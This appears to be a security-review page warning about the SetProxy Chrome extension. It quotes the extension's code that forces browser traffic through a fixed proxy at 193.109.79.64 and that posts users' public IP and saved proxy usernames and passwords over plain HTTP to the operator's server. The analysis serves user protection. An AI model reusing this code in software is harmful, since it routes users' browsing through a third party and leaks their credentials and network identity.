Is SetProxy - Connect to Shadowsocks/Socks/Http(s) Proxy safe?

High risk

SetProxy is high risk. The extension sets Chrome's proxy to 193.109.79.64:8080 after you connect, exposing HTTPS destination hostnames and full non-HTTPS details while active. Dynamic analysis found no live proxy call; the service was unreachable in testing.…

v1.1Chrome Web Store
79Risk
Who publishes it

No other listings under this identity

What this publisher told the store about itself, and the other listings that told it the same thing.

Website
t.me/setproxy_support

AI-generated. Findings may contain errors. Those marked Verified have been manually reviewed.

Publishers can request a review.

Findings

Connected browsing routed through fixed proxy

The extension sets Chrome's proxy to 193.109.79.64:8080 after you connect, exposing HTTPS destination hostnames and full non-HTTPS details while active.

Dynamic analysis found no live proxy call; the service was unreachable in testing.

Severity
High unwanted
Type
Unexpected
CWE
CWE-200
Source
Dynamic sandbox
What actually happens
You did this

You connect a proxy from the extension interface.

The extension did this

The extension configures Chrome to route browser traffic through 193.109.79.64:8080.

What the proxy route can expose
  • Destination hostnames
    accounts.example.com

    The proxy can see which sites your browser connects to while the route is enabled.

  • Browsing patterns
    mail.example, docs.example, payroll.example

    Repeated routed connections show which services you visit during the connected session.

  • Non-HTTPS request URLs
    http://intranet.example/profile?id=2841

    For pages loaded without HTTPS, the proxy can receive the full URL path and query string.

  • Non-HTTPS page content
    http://intranet.example/account

    Content sent over unencrypted pages can be visible as it passes through the proxy route.

  • Bypass list
    localhost, 127.0.0.1, 193.109.79.54

    Only local addresses, localhost, configured blacklist entries, and the API host are excluded by the code.

The code that does this

The service worker applies a browser-wide fixed proxy

Readable version

connectProxy sends the setProxy message

scripts/sections/ProfileSection.js
const proxyResult = await new Promise((resolve, reject) => {  chrome.runtime.sendMessage({    action: 'setProxy',    blacklist: blacklistArr,    baseProxyConfig: BASE_PROXY_CONFIG  }, (response) => {    if (chrome.runtime.lastError) {      reject(new Error(chrome.runtime.lastError.message));    } else if (response && response.success) {      resolve(response.data);    } else {      reject(new Error(response?.error || 'Failed to set proxy'));    }  });});

BASE_PROXY_CONFIG points to 193.109.79.64:8080

scripts/config.js
export const BASE_PROXY_CONFIG = {  scheme: 'http',  host: '193.109.79.64',  port: 8080,};

setProxy applies fixed_servers with singleProxy

scripts/background.js
async function setProxy(blacklist, baseProxyConfig) {  return new Promise((resolve, reject) => {    let bypassList = ['<local>', '127.0.0.1', 'localhost'];    if (Array.isArray(blacklist) && blacklist.length > 0) {      const normalized = normalizeBlacklist(blacklist);      bypassList = bypassList.concat(normalized);    }    const config = {      mode: 'fixed_servers',      rules: {        singleProxy: {          scheme: baseProxyConfig.scheme,          host: baseProxyConfig.host,          port: baseProxyConfig.port,        },        bypassList: bypassList      }    };    chrome.proxy.settings.set(      {        value: config,        scope: 'regular',      },      () => {        if (chrome.runtime.lastError) {          reject(new Error(chrome.runtime.lastError.message));        } else {          console.log('✅ Прокси настроен на 193.109.79.54:8080');          resolve({ message: 'Proxy configured successfully', bypassList });        }      }    );  });}
Proxy destination and bypassed service host
    • 193.109.79.64

    Configured as the fixed HTTP proxy on port 8080 for browser traffic.

    • 193.109.79.54

    Added to the bypass list so the extension API host is not routed through the proxy.

Real IP address sent when a proxy connects

When you connect a saved proxy, it requests your public IP from api.ipify.org, then posts it with proxy details to 193.109.79.54:8000/api/connections/.

Live capture failed (service unreachable), but source shows the path and fields.

Severity
High unwanted
Type
Unexpected
CWE
CWE-359
Source
Dynamic sandbox
What actually happens
You did this

You connect a saved proxy from the extension interface.

The extension did this

The extension requests your public IP address and posts it with proxy connection details to its HTTP service.

Connection fields assembled by the extension
  • Your public IP address
    198.51.100.24

    This identifies the network address you used before the proxy connection was applied.

  • Proxy host and port
    203.0.113.10:8388

    This records which proxy endpoint you are trying to use.

  • Proxy username
    proxy-user-17

    This can identify the account or credential set for the configured proxy.

  • Proxy password
    SocksPass-2026

    This can grant access to the saved proxy service if reused elsewhere.

  • Shadowsocks method
    aes-256-gcm

    This gives context needed to use a Shadowsocks proxy credential.

Captured request
POSThttp://193.109.79.54:8000/api/connections/
Headers
Content-Type
application/json
Authorization
Bearer <redacted>
The code that does this

The connect path requests the public IP and posts the connection record

Readable version

connectProxy builds client_ip and proxy_credentials

scripts/sections/ProfileSection.js
async connectProxy(proxyData, button) {  if (button.classList.contains('loading') || button.disabled || this.isProxyOperationInProgress) {    return;  }  this.isProxyOperationInProgress = true;  const connectedProxyBefore = this.storageHelper.loadProxyState();  try {    button.classList.add('loading');    button.disabled = true;    this.showConnectionStateBlock('loading');    const userIP = await this.getIPAddress();    const token = this.storageHelper.getAccessToken();    const connectionData = {      client_ip: userIP,      proxy_credentials: {        type: proxyData.type,        host: proxyData.credentials.ip,        port: proxyData.credentials.port,        username: proxyData.credentials.login || null,        password: proxyData.credentials.password || null,        ...(proxyData.type === 'SHADOWSOCKS' && { method: proxyData.credentials.method })      }    };    const connectionResult = await this.api.createConnection(token, connectionData);    console.log('Connection created:', connectionResult);  } catch (error) {    console.error('Connection error:', error);  } finally {    button.classList.remove('loading');    button.disabled = false;    this.isProxyOperationInProgress = false;  }}

getIPAddress calls api.ipify.org

scripts/sections/ProfileSection.js
async getIPAddress() {  const response = await fetch('https://api.ipify.org?format=json');  const data = await response.json();  return data.ip;}

createConnection posts JSON to /connections/

scripts/modules/api.js
async createConnection(token, connectionData) {  const res = await fetch(`${this.API_BASE}/connections/`, {    method: 'POST',    headers: { 'Content-Type': 'application/json', 'Authorization': 'Bearer ' + token },    body: JSON.stringify(connectionData)  });  if (!res.ok) throw await res.json();  return res.json();}

API base is an HTTP service

scripts/config.js
export const API_BASE_URL = 'http://193.109.79.54:8000/api';export const API_BASE_HOST = '193.109.79.54';
Hosts involved in the connection path
    • api.ipify.org

    Receives the IP lookup request and returns the device's current public IP address.

    • 193.109.79.54

    Receives the connection record at /api/connections/ over HTTP.

    • 193.109.79.64

    Receives the follow-up close-connections POST on port 8090 after the connection record is created.

Real public IP fetched before each proxy connection.

When you connect to a proxy, the extension fetches your public IP address from api.ipify.org first.

It then sends that address as client_ip in the connection request, which can link your proxy use to your real network address.

Severity
Medium unwanted
Type
Unexpected
CWE
CWE-359
Source
Dynamic sandbox
What actually happens
You did this

You take the required action to connect to a proxy.

The extension did this

The extension fetches your public IP address before the proxy connection is created.

Captured request
GEThttps://api.ipify.org?format=json
Fields in the request
  • Your public IP address
    203.0.113.42 (illustrative)

    This identifies the network address you are using before the proxy connection is established.

Observation

Dynamic analysis could not trigger the proxy connect flow because the operator server was unreachable, but the confirmed claim records the extension code path that fetches api.ipify.org before sending the IP address as client_ip.

What it can do

Permissions this extension asks for, as declared in version 1.1. Asking for a permission is not a finding on its own - it is what the extension can do if it chooses to.

  • Read and change your data on every site you visit

    <all_urls>

  • Route all of your browsing through a server of its choosing

    proxy

  • Store an unlimited amount of data in your browser

    unlimitedStorage

  • Store data in your browser

    storage

Updated 30 September 2026dglcpkealfalaaiaencaenagjcokmghd